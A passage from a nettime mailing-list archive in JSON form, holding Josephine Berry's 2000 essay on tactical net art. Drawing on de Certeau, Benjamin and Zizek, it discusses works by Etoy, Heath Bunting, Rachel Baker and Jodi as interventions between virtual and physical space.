norm.\"\n\nBenjamin, along with other modernist theorists of the metropolis such as\nGeorg Simmel, makes the observation that as we grow accustomed to the\nbattery of shocks afforded by the crush of population density, the chaos\nof crowds, the din and danger of traffic so too do our protective shields\nbecome more efficient and total. In the modern city, Erfahrung diminishes\nunder the callousinig of Erlebnis. Benjamin, quoting from Baudelaire,\nfigures this shift in the disappearance of the daydreamer's unfocused look\nand the advent of the prostitute's wary and shifting glance:\n\n\"'Her eyes, like those of a wild animal, are fixed on the distant horizon;\nthey have the restlessness of a wild animal\u008abut sometimes also the\nanimal's sudden tense vigilance.'\"\n\nLet us then compare this condition to the permeability of the 'average\nman' in anthropological place. Here we can examine how collective social\nsymbolisations work upon the irregular topography of place as an index of\nErfahrung and Erlebnis. In Aug\u00e9's characterisation of anthropological\nplace (as constructed by the ethnologist Mauss) he discusses how, despite\nthe indigenous inhabitants' knowledge of the relativity of their home\nterritory, they confer upon it the mythical status of a singular origin. A\nway of naturalising the contingent. Each new occurrence, such as a birth\nor death, however well 'known', has to be incorporated into a discourse\nand thereby naturalised into the mythological syntax. In other words, the\nspecificity of place is constantly demarcated and thereby reaffirmed\nthrough its inscription in the foundation narrative. By contrast, in de\nCerteau's discussion of the 'concept-city' - the modern city of\nenlightenment rationality and the urban planner, the city whose origins\nBaudelaire witnessed and the precursor of cyberspace - the specificity of\nplace and its subjects is flattened through the imposition of the\nuniversalising, self-constituting and dehistoricising myth of rationality\n. A myth which excludes those stubborn particularities which cannot be\nassimilated into its system: \"a rejection of everything that is not\ncapable of being dealt with in this way and so constitutes the 'waste\nproducts' of a functionalist administration (abnormality, deviance,\nillness, death, etc.).\"  Occuring then at the same time as the increased\nviolence of the modern city and its concurrent defensive psychological\nmechanisms is the invalidation of the specificity of places and their\ninhabitants, their histories and contradictions. We can view the\nconcept-city as a utopian/dystopian fantasy existing in advance of (and at\nodds with) its actual construction, operating in tandem with the order of\nexperience which Benjamin terms Erlebnis.\n\nBut what is the order of 'shock' manufactured for Etoy's digital hostages?\nThe search engine itself can certainly be seen as a kind of concept-city\nimposing the template of universality and rationality - through its\npromise of categorisation and inclusiveness - onto the specificity of the\nNet's myriad layers, aggregations and networks. The user's God-like view\nover this map of the Net involves the same fantasy of legibility that\ntransfixes the beholder of a city from above . Perhaps in this sense, the\nproduction of the dummy trap page causes the user to tumble from their\nvantage point into the sticky illegibility of the Net's tangled and\nundecipherable networks - the tactical point of view. These self-conscious\ntacticians have wrested the stunned subject from the alienating\nuniversality of the spectacle and returned them to the everyday practice\nof the walker who \"write(s) without being able to read\" . Or rather, who\nreads a single page without knowing what else they might be able to read.\nBut has this really shocked the viewer? Has the hoax managed to slip in\nunder the guard of the viewer's sensory shield and produce Erfahrung in\nthe place of Erlebnis? Or we could ask the question thus: has the viewer's\ndivestment of the fantasy of legibility and the universalising myth of the\nNet's inherent rationality produced a bruising encounter with\nenvironmental specificity and in some sense converted the search engine\ninto an actual place? This question contains within it the presumption\nthat the 'view from above', the construction of legibility is a means by\nwhich the subject defends against the shock which is nothing other than a\nglitch in the symbolic tissue through which the Real is momentarily\nglimpsed. (I will return to this psychoanalytic line of enquiry below).\n\nBut there is an incompatibility between these questions and the Net\nbecause here we are dealing with a simulacral system par excellence.\nWithin such a system, and in particular one that operates on the\nprinciples of its digital mutability, it is harder to perceive the\ndistinction between an actual breakdown and its simulation or the\noccurrence of the unexpected within a programmatic field of novelty\nproduction. Furthermore we are also dealing with a zone of naturalised\nhybridity. The search engine applies the logic of library categorisation\nto a networked computer file system which, in turn, adopts the imagery of\ngeographical space as evidenced in words such as 'website', 'site map' and\n'portal' and the browser softwares' adoption of the terms 'navigator' and\n'explorer'. The ease with which these categories can be successfully\ncombined reveals a great deal about the malleability of the Net's symbolic\neconomy. So long as equivalences can be found between semantic systems and\nan appropriate representational language assigned, then their combination\nis permissable. This environment then is neither the originary site of the\nindigenous fantasy nor the concept-city with its disjuncture between\nrationalist myth and specificity. When Etoy engineer the shock of a dummy\ntrap page, they may educate the viewer as to the workings of the system\nbut they do not create any fundamentally new relationship or fantasy\nbetween the viewer and the site. In effect the dummy trap page is just a\nfurther augmentation of the constantly shifting simulatory panorama that\nis the the Net. In this respect the Net does not possess the metaphysics\nof place where things reside in an exclusive location and around which or\nagainst which systems of meaning operate. It is, rather, a differential\nsystem without, to borrow a term from Baudrillard, 'limit'. Self-conscious\ntactics, if they do not rupture the simulacral texture of the Web and\nremain instead within the play of difference, are unlikely to produce the\nexperience of shock through which place might be felt.\n\n\n\n\n-^- www.yourserver.co.uk/crashmedia -^- ->- www.metamute.com -<-\n\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Wed, 13 Sep 2000 13:01:50 +0000",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200009131356.JAA21096 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00112.html",
                "list": "nettime_l",
                "author_name": "Josephine Berry",
                "subject": "<nettime> Tactical Art in Virtual Space 1"
            },
            {
                "content-type": "text/plai",
                "from": "Josephine Berry <josie {AT} metamute.com>",
                "id": "00113",
                "content": "\nX marks the Spot: Portals to Place\n\nWhen Josephine Bosma entitled her 1997 interview with Heath Bunting\n\"Street Artist, Political Net Artist or Playful Trickster?\"  she linked\ntogether some of the key issues at work in Bunting's tactical use of the\nNet. Were the word 'or' to be replaced with 'and', dispensing with the\nfalse problem of choosing between three not incommensurate identity types,\nwe would have a description of the artist which hits upon the crucial\nattribute of his art: the creation of friction between real and virtual\nspace through the indeterminacy of play.\n\nIn the same interview Bunting discusses a work that he would later title\nCCTV - World Wide Watch. His deadpan tone conveys very well the essence of\nthe tactical mode; at once ironic, throw-away and serious:\n\n\"At the moment I am working on a closed circuit television camera project\nacross the Internet whereby you can watch various city centres in various\ncountries of the world, for instance Tokyo, Dublin, LA and London. Each of\nthese cameras is linked to a webpage and on that webpage you are\nencouraged to watch these street locations for various crimes. If you see\nanything, you can type the details into the text box, click a button and\nthis information will be sent directly via fax to the local police\nstation, for instance at Leicester Square. So it's somehow encouraging\npeople to police themselves and save the police some labour, so they don't\nhave to watch other people.\"\n\nIn the final version of the project, Bunting confronts the viewer with a\nsequence of near-aerial CCTV views of 5th Avenue, New York; Broadgate,\nCoventry; the Marktplatz, Guetersloh, Germany and Oviedo, Spain. But the\nviewer's giddy sense of voyeuristic power, derived from the ability to\nview four city scenes simultaneously, laid out in their unconscious\nlegibility for our scopophilic gratification, is undercut by the\ninvitation to intervene. The viewer is confronted with the choice of\nconverting the implicit power of the gaze into its explicit enactment (I\nam choosing to believe that the fax numbers are what Bunting says they\nare); a choice which splits the viewer's subject position between an\noccupation of the legible space of strategy and the tactical and partial\nspace of everyday life. The contradictory nature of the spaces conflated\nin this work (both God-like and on-the-ground) - a spatial multiplicity\nwhich the Internet's networked expanse and digital mutability\nindifferently accommodates - becomes unbearable when the viewer's\npotential affectiveness looms into view. In contrast to the Digital Hijack\nwhere the hoped for moment of awakening is instantaneously neutralised by\nvirtue of its inability to step outside the dominant simulacral economy,\nBunting shocks the viewer awake with the unsettling possibility of cutting\nthrough the simulacral field of equivalences and precipitating an\nintervention into the particularities of place and its inhabitants. The\nviewer is accustomed to occupying both subject positions independently of\neach other; it is also usual to forego agency when occupying the God-like\nvantage point (perhaps a precondition of the fantasy of legibility?) and\nlegibility when occupying the 'writerly' position of Wandersmann. In\nshort, the shock delivered here is the shock of occupying the position of\npower where legibility and agency are combined. This dual position of\nlegibility and involvement is not dissimilar to that occupied by the\nfl\u00e2neur, as explored by Benjamin in his discussion of Baudelaire and the\nParis of the Second Empire, who is at once enthralled by the crowd but\naloof, whose fascination with this fleeting, polymorphous spectacle is a\nwriterly one, whose style it is \"to go botanizing on the asphalt\" .\n\nBut if CCTV - World Wide Watch playfully and critically insinuates the\nlook of power, it also implies the reciprocal gaze of its subject. Next to\nthe form which, in its generic simplicity, invites the viewer to\nreflexively dash off a note to the ever attentive forces of law and order,\nare set the words:\n\n\"Improve self policing with further absented police force.\"\n\nThis exhortation to internalise the burden of policing and thus further\natomise and virtualise the forces of discipline until no external display\nof power remains, ironically articulates the ultimate Foucauldian\ndystopia; a dystopian order against which de Certeau's antidiscipline of\ntactics is practiced. Here the viewer, who can perhaps be cast as\nunconsciously assisting the spread and perfection of Foucault's 'political\ntechnologies of the body' by incorporating them seamlessly into the fabric\nof his/her life, is confronted not merely with those technologies but\ntheir articulated discourse. As with the conflation of spaces and gazes,\nCCTV also conflates the normally silent functioning of the technology with\nits explicit enunciation. Here we have a concise example of the\nself-conscious adoption of tactics which differs significantly from those\ntactics described by de Certeau.\n\nAs already stated, de Certeau's point of departure is Foucault's analysis\nof the historical development of a diffuse set of disciplinary techniques\n(an overwhelmingly optical and panoptic mode of observational discipline)\nwhose development he traces back to the advent of the rationalist\ndiscourses of the Enlightenment. An origin from which, Foucault argues,\nthe technical modalities increasingly diverge:\n\n\"Foucault thus distinguishes two heterogeneous systems. He outlines the\nadvantages won by a political technology of the body over the elaboration\nof a body of doctrine. But he is not content merely to separate two forms\nof power. By following the establishment and victorious multiplication of\nthis 'minor instrumentality,' he tries to bring to light the springs of\nthis opaque power that has no possessor, no privileged place, no superiors\nor inferiors, no repressive activity or dogmatism, that is almost\nautonomously effective through its technological ability to distribute,\nclassify, analyse and spatially individualise the object dealt with. (All\nthe while, ideology babbles on!)\u008aThis gallery of diagrams has the twin\nfunctions of delimiting a social stratum of practices that have no\ndiscourse and of founding a discourse on these practices.\"\n\nSo as the techniques of power lock tight, so too does their ubiquitous\nhold over society grow silent. But, ponders de Certeau, once their silent\nhistory has been uncovered and their primary (panoptic) technique\narticulated, have they then fallen into decline? Was their successful\nascendance not a consequence of their silent technical advances and lack\nof dogma? This questioning causes de Certeau to cast around for other\n'technological practices', which lack the coherence of the panopticon,\nwhich may be scattered, heterogeneous and 'polytheist' but whose silence\nor existence outside dicourse endows them with the potential to \"produce a\nfundamental diversion within the institutions of order and knowledge.\"  \nAnd herein lies the paradox of de Certeau's undertaking, namely to\narticulate a practice of resistance whose very status as such, not to\nmention efficacy, relies on its resistance to articulation. But for de\nCerteau, it seems, the guarantor of their survival is their imbrication in\nthe very heart of regulatory disciplines such as consumption. They\nconstitute the ineradicable indexes of alternative techniques and\npractices which return, like the repressed, in the disciplinary regime\nwhich attempts to dispel them.\n\nA project by Bunting that seems to lie closer to this understanding of\ntactics, and yet perhaps exemplifies the difference of tactical media all\nthe more, is his X Project begun in 1996. Combining his predilection for\nwandering about city streets and the semi-legal practice of tagging in\nchalk with his interest in the emergent social space of the Net , Bunting\nbegan a systematic programme of tagging the URL 'www.irational.org/x' in\nstrategic places, primarily in London but also in other sites such as\nBath, Amsterdam and Berlin (one presumes he simply tagged in the cities he\nhappened to visit). If a passer by, on observing the URL, felt inclined to\nlook it up on the Net they found a white page with minimal information on\nit. Underneath a JPEG derived from the chalked tag are the following three\nquestions: \"Where did you see this chalked? (Please include city and\ncountry)\"; \"Why do you think it was done?\" and \"Who do you think did it?\"\nOn filling out and submitting the questionnaire, a page which collates all\nthe answers is downloaded. Today there are several hundred entries. The\nspecific sites that the artist chose to tag were by no means random; in\nLondon Bunting primarily chose bridges (Hungerford and Waterloo) as well\nas international sites of significance to new media culture such as Clink\nSt. (the site of an independent media laboratory Backspace where Bunting\nand Rachel Baker often worked), The Hub in Bath and De Waag in Amsterdam.\nIt is likely that the bridges indicate the notion of crossing between\nzones - the central activity of X Project - and that the media centres\nalso intimate concerted initiatives to depart local geography and enter\ninto series of remote collaborations.\n\nBy means of the chalk tag, Bunting has created a semiotic and functional\nportal between virtual and physical space. In contrast to Digital Hijack,\nX Project taps into the contingencies of wandering. Rather than\nmanufacturing a shock for the viewer, caught unawares in the midst of\ntheir impervious passage through the regularised space of the search\nengine, Bunting positions his tag to be caught by the corner of the eye in\nthe midst of an awkward climb up the steep steps of a bridge or in the\nnooks and crannies of back streets - a mode in which awareness of place is\nheightened. The chalked tag catches the walker in the midst of a tactical\ntraversal and the project's completion relies upon the viewer's alertness\nand curiosity to pursue this index of virtual space in the midst of an\nactual place. Rather than reinforcing the sense of the homogeneous order\nof virtual space, Bunting hybridises physical and virtual space and\ncreates a tear not only in the latter but also in the former .\nInterestingly, it is by making this incision in the self-containment of\neach - or rather making explicit the impossibility of such\nself-containment - that the contingent and self-erasing nature of\nwandering can be mapped, recorded and co-ordinated. This suggests the\npotential of a view from above that is created from below and a reversal\nof the power implied in this same reversal. Rather than the fantasy of\nlegibility implying a disengagement from the everyday, here legibility is\ncreated by and for the walker, the subject of the gaze. Perhaps this text\nis written blind, but it promises the eventual possibility of being read.\nThe series of correspondences which 'emerge' on the website brings into\nbeing the consciousness of the cumulative potential of individual\nwandering. Tactical media art is here shown to be not only the coming to\nself-consciousness of those silently resistant ways of operating, but also\nthe power resident in this coming to consciousness. A recognition that\nprecipitates an aggregation, and hence the realisation of the power which\nthese myriad movements compose. The first in a long series of answers to\nthe question \"Why do you think it was done?\" encapsulates this notion very\nwell: \"to collide the known with the emergent.\"\n\nHas VR really killed desire? Tactics and 'Post-Oedipal' Space\n\nBunting's interplay of 'real' space and 'virtual space', their ability to\ninterrupt each other, poses an interesting question to a popular\nformulation of Slavoy Zizek's. In a series of writings on cyberspace and\nthe functioning of desire , Zizek proposes that virtualisation reveals the\nalways-already virtual nature of reality - the role of the symbolic order\n- at the same time as bringing about a 'psychotic' suspension of the\nsymbolic order that structures this same reality. In the beginning of his\nessay \"Quantum Physics with Lacan\" , Zizek illustrates this point by\nreferencing Lacan's discussion of courtly love. For Lacan, courtly love is\nnot a means of intensifying desire by creating more obstacles between its\nsubject and object, but rather of concealing the fact that the possibility\nof satisfying desire per se does not exist; an impossibility that is\nconcealed by its very prohibition. In Lacan's own formulation courtly love\nis: \"A very refined manner of supplanting the absence of the sexual\nrelationship by feigning that it is us who put the obstacle in its way.\"  \nDesire, explains Zizek, is a short circuiting between the 'primordially\nlost Thing' and an empirical object which is elevated to the order of the\nformer: \"this object thus fills out the 'transcendental' void of the\nThing, it becomes prohibited and thereby starts to function as the cause\nof desire.\"  In cyberspace, however, (and for Zizek, it is important to\nremember, his definition of cyberspace hangs somewhere between its actual\nand projective forms in the absence of specific, concrete examples), when\n'every' empirical object can be immediately obtained without the ordinary\nfrustrations such as the need to cross physical space or the\nunavailability of the desired item, \"the absence of the prohibition\nnecessarily gives rise to anxiety.\"  The question that is posed here is\nhow desire can be sustained let alone function when its paradoxical nature\n- \"the fact that desire is sustained by lack and therefore shuns its\nsatisfaction, that is, the very thing for which it officially strives\"  -\nis lain bare. Zizek answers this by describing a trend in which the\ncomputer generation becomes increasingly unable to tolerate the look of\ndesire in others, and are wont to forget about a possible sexual liason\nbecause, for example, they are too engrossed in playing computer games or\ninteracting in chatrooms. As prohibition is lifted and desire declines,\nlast ditch attempts to preserve the dignity of the sexual object are\nmounted such as PC and religious fundamentalism. But the real effect of\nthese prohibitive discourses is a phobic reaction to 'normal' sexual\nenjoyment which is everywhere cast as perverted. This, argues Zizek,\ndevelops the subject as pathological Narcissus who prefers 'interaction'\nwith the computer over sexual engagement with another. Both VR and\n'interactivity' are in Zizek's terms 'Orwellian misnomers', covering up in\nthe former the demise of the already virtual structuration of reality and\nin the latter the increasing isolation of the individual who no longer\ninteracts properly with others.\n\nAt the root of the individual's primordial envelopment in virtual space is\n\"the dream of a language which no longer acts upon the subject merely\nthrough the intermediate sphere of meaning, but has direct effects in the\nreal.\"  Yoked to this dream of profound involvement, is the radical\ndisengagement of the post-oedipal subject. The psychotic's relation to the\nsymbolic (one which Zizek compares to the subject of cyberspace) is\ndefined by externality and overproximity. On the one hand he/she is not\ninterpellated into the symbolic order (the signifying chain is 'inert')\nand remains outside it, and on the other the gap between 'things' and\n'words' is collapsed and he/she starts to treat words as things or things\nstart to speak themselves. In cyberspace, the space between word and thing\nwhich sustains sense is collapsed, as is 'symbolic engagement' which\noperates in this space, resulting in radical disengagement: \"I can pour\nout all my dirty dreams, precisely because my word no longer obliges me,\nis not 'subjectivised'.\"  Interestingly, however, Zizek shies away from\ndescribing a total collapse of the symbolic economy in cyberspace or\nvirtual reality (interchangeable terms it seems here). Instead, he sees\nthe agreement between users to suspend the usual performativity of the\nsymbolic order as analagous to the agreement between analyst and analysand\nin which the normal performativity of the speech is also suspended; the\nanalysand can hurl verbal abuse at the analyst and it won't be taken\npersonally. Likewise, in cyberspace, the participant consents to 'play the\ngame' in which, despite words having little or no performative value, they\nare nonetheless bound by the symbolic pact of the 'act of faith' in which\nintersubjective relations in cyberspace are contained.\n\nOne of the main difficulties with Zizek's analysis is his characterisation\nof cyberspace itself as the context in which this new order of subjecthood\nfinds its perfect conditions. Although Zizek does not imply that the\ndisappearance of prohibition is a consequence of cyberspace itself, he\ncertainly sees cyberspace as producing no internal resistance to its\nunbridled advance. His homogeneous description of the typical cyber\nsubject and his mode of activity betrays the limitation of Zizek's model;\nhe seems invariably to be talking about a clich\u00e9 of the anti-social,\nwell-healed, masculine, avidly consuming and games playing computer geek.\nCyberspace itself is cast as the ultimate consumption machine whose\nsuccess lies in its ability to collapse the sign into the thing itself;\nthe immateriality of the commodity. However, as we have seen above in the\nexample of Bunting's work, although the Net entails this radical\nmutability that undoubtedly vehiculates Zizek's collapse of the word into\nthe thing, or by which the word becomes the thing, and the thing thereby\nbecomes as malleable as words, the collision of virtual and real space can\nand does occur revealing that the Net's consistency is far from simple.\nThat is to say, the leakage between these two spheres reveals not only a\nresistance to the pyschotic collapse that Zizek himself ultimately denies\nthrough his recourse to the symbolic pact, but also the possibility of\nusing virtual space to enunciate the practices of everyday life -\npractices which remain outside 'the proper' - into a shared language which\nmight entail performativity. There are numerous mundane examples in which\nindividuals feel obliged to be as good as the word they give via the\nInternet, but here we are also interested in the opportunity cyberspace\ngives for co-ordinating the confused multiplicity of inidividual\nidiolects, of converting tactics into something close to strategies. An\nexceptional example of this are the protests against the WTO which\noccurred in Seattle in late November/early December 1999 which serve as an\nexample of this tranformative potential of cyberspace. Here a multiplicity\nof political ideologies and actors were coordinated via the Net into a\nformidably performative display of resistance against a powerful agent of\nglobalisation.\n\nBut without the entry of another spatial, symbolic and atom-based system\nof 'words and things', is Zizek's notion of our unimpeded access to the\n(albeit nonexistant) object of desire in cyberspace quite accurate? Does\nthe erasure of distance between our desire for the object and the object\nitself, the immediacy of delivery which can be figured as the subsumption\nof space by time in computer networks, really guarantee receipt? Rachel\nBaker's work Dot2Dot reveals the very skillful capacity of the Net to\nfrustrate desire. In this work, Baker takes her cue from the Net porn\nindustry which typically lures the viewer/consumer deeper and deeper into\na site with free 'thumbnail' GIFs promising the full scale image but which\nultimately delivers the image either at a price or, if free, only on an\nillegibly small scale . Far from the theoretical end of scarcity which the\nNet promises and Zizek assumes has been achieved, digital scarcity is\nimposed in order to intensify desire and thus increase the monetary value\nof the digital object. In Dot2Dot Baker picks up on this Net porn\ntechnique and exaggerates its manipulations to reveal the powerful hold\nthat (pornographic) commodity fetishism still has in the Net. The art\nwebsite's homepage is a dot 2 dot drawing of a copulating man and woman\nagainst a deep blue background whose subject matter, although largely\ncomposed of dots and numbers, is not difficult to make out. As is usual\nwith these childrens' games, certain areas of the final drawing are\nalready filled in. In Dot2Dot, these parts are the woman's eye and hands,\nand the man's mouth, penis tip, and fingers. Here the peek-a-boo\nsuggestiveness of certain pornographic images is undercut by the\ndelineation rather than concealment of the sexually 'significant' parts.\nEach dot in the drawing also doubles as a link to another page on the site\nwhere a predictably salacious GIF is offered (e.g. \"fist inserted fully\ninto pussy\") but only on condition that the viewer/consumer enters\npersonal details such as their name and company details. Having submitted\nthese, the viewer is brought straight to the irational.org homepage and\nthe promise is never honoured. Through this frustrated libidinal circuit,\nBaker not only intimates how the traditional commodity's never-honoured\n'promissory note' is still operative, but also how the consumer is willing\nto submit more and more personal data in its pursuit. The exchange of one\nreal data body for the unkept promise of another.\n\nBaker's hoax can in some ways be compared with Etoy's Digital Hijack; as\nwith the hijack, Baker is playing on the notional conformity of the\nviewer. The level of cooperation that individuals will countenance, their\nwillingness to exchange valuable personal data on the vague promise of\nsome form of libidinal gratification is at issue in this work. But unlike\nthe hijack, the viewer has sought out this confrontation by keying in the\nwork's URL, finding it through a search engine or entering it through the\nirational.org homepage. In most cases, we can surmise, the viewer's\nacquiescence is unusually self-conscious because it is given within the\ndifferently signifying context of an artwork. This might for instance\nresult in the input of totally false information which, unlike with other\ncommercial websites, would not effect the user's further passage in any\nadverse way. A more important difference, however, is that where Etoy\nattempts to alert viewers to the compromised nature of the search engine's\n'neutrality' through hacking its system, Dot 2 Dot merely replicates the\nporn industry's production, manipulation and frustration of desire. Here,\nno radical alternative is even mooted. In contrast to Etoy who create an\ninterruption and in so doing point to the manipulability of the status quo\n(an instance of Zizek's symbolic suspension?), Baker foregrounds the\nextra-technical limitations to digital malleability exerted by the\nintersection of symbolic and economic forces. If Baker and Bunting's works\nboth point to the outside of an endlessly differential and simulacral\nfield of play which challenge Zizek's reading of cyberspace, his primary\ndiscussion of prohibition and desire are confirmed rather than challenged\nby their work. The need to point to the stoppages, tears, leaks and limits\nto the virtual sphere is a central part of their work which can be seen as\na way of of maintaining the function of desire which in turn produces\naction. The short circuiting mentioned above between the 'primordial\nThing' and the empirical object, the construction of desire's object, can\nbe seen at play within the construction of place where empirical objects\nare similarly invested and so animated. This is demonstrated by the\npromise of belonging that place exerts on the subject but can never\nwholely fulfill. I would like to propose that the pull exerted by place\nand by the things out of which place is composed, together with the\nsubject's desire to consume these things in their quest for belonging or\nof jouissance, is essential to the practice of tactics which, as de\nCerteau points out, can be found at the heart of consumption.\n\nBut hasn't place also been described here as ceding to space? And is it\nnot more accurate to talk about the total disappearance of limit in the\nsimulacral economy in which, if we follow Baudrillard's argument, the\ninvasion of exchange value into all aspects of life becomes the locus of\nthe radical equivalence of things; the end of the metaphysics to which\nplace and desire belong? Is not the callousing of Erlebnis touched on\nabove not also a sign, both on and offline, that this is becoming the\ncase? Are we not so inured to the shocks of our environment that they too\nbecome merely differential? By turning finally to a work by Jodi -\ncertainly not a categorically tactical net artwork in the manner of Heath\nBunting - I will attempt to answer this problem through the trope of\nestrangement. An analysis of this work helps formulate the question: is it\nnecessary to feel the exertion of place, with all the vicissitudes of\ndesire that it might imply, in order to practice a tactics? Does the\nputative equivalence of things, the conversion of place into space, cancel\nthe possibility of Erfahrung out of which, paradoxically place is created?\n\nJodi's piece whose title, as is usual for them, is also its URL,\nhttp://sod.jodi.org is based on the source code of a 'shoot 'em up' style\ncomputer game called Wolfenstein. In the spirit of the 'open source'\nmovement - based in part on the belief that 'software should be free', but\nmore consistently on the belief that the best software is the product of a\nwhole community's programming efforts rather than the isolated and\nsecretive programming methods of commercial companies - the games company\nID Software published the Wolfenstein source code in 1999(??) . This cult,\nmulti-player game has subsequently become the raw material of several Jodi\nartworks . In Jodi's Web piece, the look of a programming shell interface\nhas been simulated. That is to say, the viewer is confronted with the\ngarishly coloured field of text boxes in which programmers write code, but\nwhich also recall early or lower order computer interfaces. This interface\nhas the nostalgic quality of a once 'transparent' computing age in which\nthe apparent legibility of the computer's operating system and file\nstructures found its analogue in the rudimentary visual range (for\nexample, pixel size and colour distribution). In this piece, Jodi have\ntaken various sequences within the Wolfenstein source code and hyperlinked\nthem together. This means that the utility of the original code has been\nrendered not only the obsolete object of aesthetic contemplation but has\nalso been repurposed as a set of Internet hyperlinks. This would be\nanalagous to using an old wagon wheel as the support for a coffee table.\nThis repurposing of code is one example of the estrangement at work in\nhttp://sod.jodi.org; as with a shard from an absent lifeworld preserved in\na museum, Jodi's autopsy of code and its transposition to the different\nprogramming environment of the WWW endows it with a ghostly quality. The\nlifeworld from which it has been severed clings to it as a negativity or\nabsence making its existence in its new environment only a partial one.\n\nIt is perhaps no coincidence then that, on actually reading the code, one\nnotices that the coincidence of death - a typical subject of computer\ngames - and the instrumental nautre of programming language begin to\nproduce a macabre and amusing quasi poetry. For example, one sequence\nruns:\n\n\n\"// Test if death sequence is done\n             if (death sequence is done)\n             {\n     // change state to death\n     player-state = DEAD\n     }  //end if death is done\n     }  // end if dying\nelse  // player must be death\n     {\n// the player is dead, so clean up the mess\"\n\n\nThe lines 'change state to death' and 'player must be death' certainly\nresonate with the notion of the 'post-oedipal' state gestured to by Zizek\nwhich would, in its eternally deferred realisation, be premised on the\npassing out of the symbolic order into an unimaginable beyond; a place in\nwhich the old signifying chain has become 'inert'. Could we see the\nnon-functionality of this code, accordingly, as equivalent to the\nnon-performativity of words in cyberspace? Or does the importation of one\nprogramming language into another programming environment and its\nsubsequent obsolescence provides us with another example of a 'limit'? Is\nthis not an instance of how words and things are not commensurate in\ncomputer space, even if those things are made up of words or signs and how\nwords or code can guarantee a certain set of operations in one environment\nwhich do not translate to another. Through its deconstruction into an\nobject of contemplation, Wolfenstein allows itself to be read again as a\ncommentary on its own casual instrumentalisation of death: \"end if death\nis done\". An inversion occurs which allows the normally buried linguistic\nunderpinning of the game's interface to speak over and even against the\nvery spectacle which they engender. This then would appear to be an\nexample of how the mutability of the digital object and limit can be seen\noperating at the same time but not univocally. As with collage, the\nrepurposed data object will always drag with it its former signifying\ncontext thus throwing into doubt the degree to which Baudrillard's radical\nequivalence of things can really be said to exist. The locus of exchange\nhas not completely subsumed the loci of meaning, exchange value has not\ncompletely eclipsed use value (even in cyberspace), nor have words\nnecessarily lost their performativity, especially if we allow that the\ninstrumentality of programming language constitutes a new kind of\nperformative utterance.\n\nConclusion\n\nEven though data objects on the Net, or in virtual space, may not reside\nin their own exclusive locations in the same way that they do in real\nplaces, we have seen that they are nonetheless capable of being estranged.\nThis estrangement, conversely, suggests a rightful place which here I have\nconsidered through functionality. The location of information objects, as\nwith things in 'real' places to a degree, cannot be read simply from their\nco-existence with other things as de Certeau has suggested, but also\nthrough their functionality which might or might not be transplantable. In\nthis respect, what we might term 'place' on the Internet, is much closer\nto a practice than an occupation, which is de Certeau's definition of\nspace: \"space is a place practiced\" . Indeed virtual space, as with\nphysical place, can only ever be experienced through practice; when the\npossibility of certain practices is rendered obsolete (the transference of\na piece of code), the sense of being out of place draws our attention to\nits very existence in the computer network. The recognition of this\nheterogenous consistency of the Net provokes, in turn, the consideration\nthat virtual space itself might well be another 'Orwellian misnomer'. Not\nonly does the Net span the real space of its sprawling infrastructure and\nthe representational space of the screen image (spatial categories hardly\nwithout precedent before the advent of the Net), but its totality is also\nfilled with the material and symbolic limits common to real space\nevidenced, for example, in malfunctions. However where this space is\nradically different from either physical or representational space is the\nimmense capacity of the digital to combine heterogenia and thus to create\nmutations; a capacity which becomes the leverage point of tactical net art\nand media.\n\nWhat makes the medium of the Net so interesting to net artists is the ease\nwith which discrete functions (search engines, source codes, networked\nCCTV cameras etc.) can be repurposed and re-embedded into separate\ncontexts or operations. Far from making these functionalities all\nequivalent, their availablity for hybridisation contains the possibility\nof a clash of new and old contexts or utilities. In this sense the tactics\ndispalyed in net art or tactical media differ from the tactics displayed\nby the walker in the city in which the environment is relatively fixed,\nand come closer to the tactics at work within language. As with language\nthere are rules of syntax, but the mobility of its constituent parts is\nfar greater than within the built environment. It is somewhere between the\nresistance of syntax and the hybridity and mobility of the online world\nthat the tactics of net art are situated. In this respect, their work can\nbe said to occur in an indeterminate stage between the recession of\ncertain limits (here read in both a material and symbolic sense) and the\ncreation of new ones. Without wishing to ignore the very real sense in\nwhich the Net courts the deadening quality of equivalence, the flattened\nexperiential order of Erlebnis, it seems that an important realisation of\ntactical net art is the possibility for interrupting equivalence with\nhybridity. Not all spaces in the Net refelct the same degree of\ndeterritorialisation, for example or effect the same non-performativity of\nlanguage. But conversely, the deterritorialisation of the Net and its\ncapacity for the endless reproduction of equivalent data has been seen to\nprovide the basis upon which the scattered multiplicity of 'walkers' and\nidiolects can be formed into a totality which hints at the paradox of a\nheterogeneous yet coherent form of power emerging within the (now post?)\ndisciplinary society.\n\n\nFootnotes:\n\n  De Certeau is interested in the distinction made by Foucault between a\n'political technology of the body' and the elaboration of a body of\ndoctrine. In other words, the Enlightenment discourse that gave rise to\nthe techniques employed by the disciplinary society was incommensurate\nwith the unarticulated logic of those technical rationales.\n\n  Michel de Certeau, The Practice of Everyday Life, University of\nCalifornia, 1988, p. xiv\n  Ibid, p.xix\n  Ibid\n  Ibid, p.34\n  \"The terms goes back to the discussions we had, as a group organizing the\nfirst next 5 minutes conference in the summer/fall of 1992.  At that time\nwe [were using] the term 'tactical television'\u008a The term 'tactical' also\nhas a pre-history in the media activism context.\" From private  email\ncorrespondence with Geert Lovink, 12th July 2000.\n  Geert Lovink is a co-founder of the nettime mailinglist.\n  See 'Empire'\u008aNegri and Hardt ***\n  \"Nevertheless, the hype of the Internet is essentially based on the\npromise that the worldwide dissemination of new technologies might remove\nall barriers between people. Many critics have unmaseked this rhetoric as\nan escape from real existing capitalism or as promotional campaign for\nneoliberal barbarism. However, there is a more dangerous mistake made in\nthe popular regard for the net as an 'alternative' territory to the 'real\nworld', or as a place, where free and unfettered communication might become\na reality. In this view, borders become something you cannot see or touch,\nand the net and the various networks become an arena for 'new' border\npolicies.\" \"<Border=0> The Art of Campaigning\", Florian Schneider, Next 5\nMinutes 3 Workbook, eds, David Garcia and Geert Lovink, Next Five Minutes\nPublications, Amsterdam, 1999.\n  Here I am referring to the era of the Internet before '94 in which the\nblanket exclusion of commercial practice together with the high level of\nprogramming expertise of most users created the sense of a radically\nalternative space in which the Net's community was relatively free to\ndetermine its technical particularities at the same time as 'growing' a new\nset 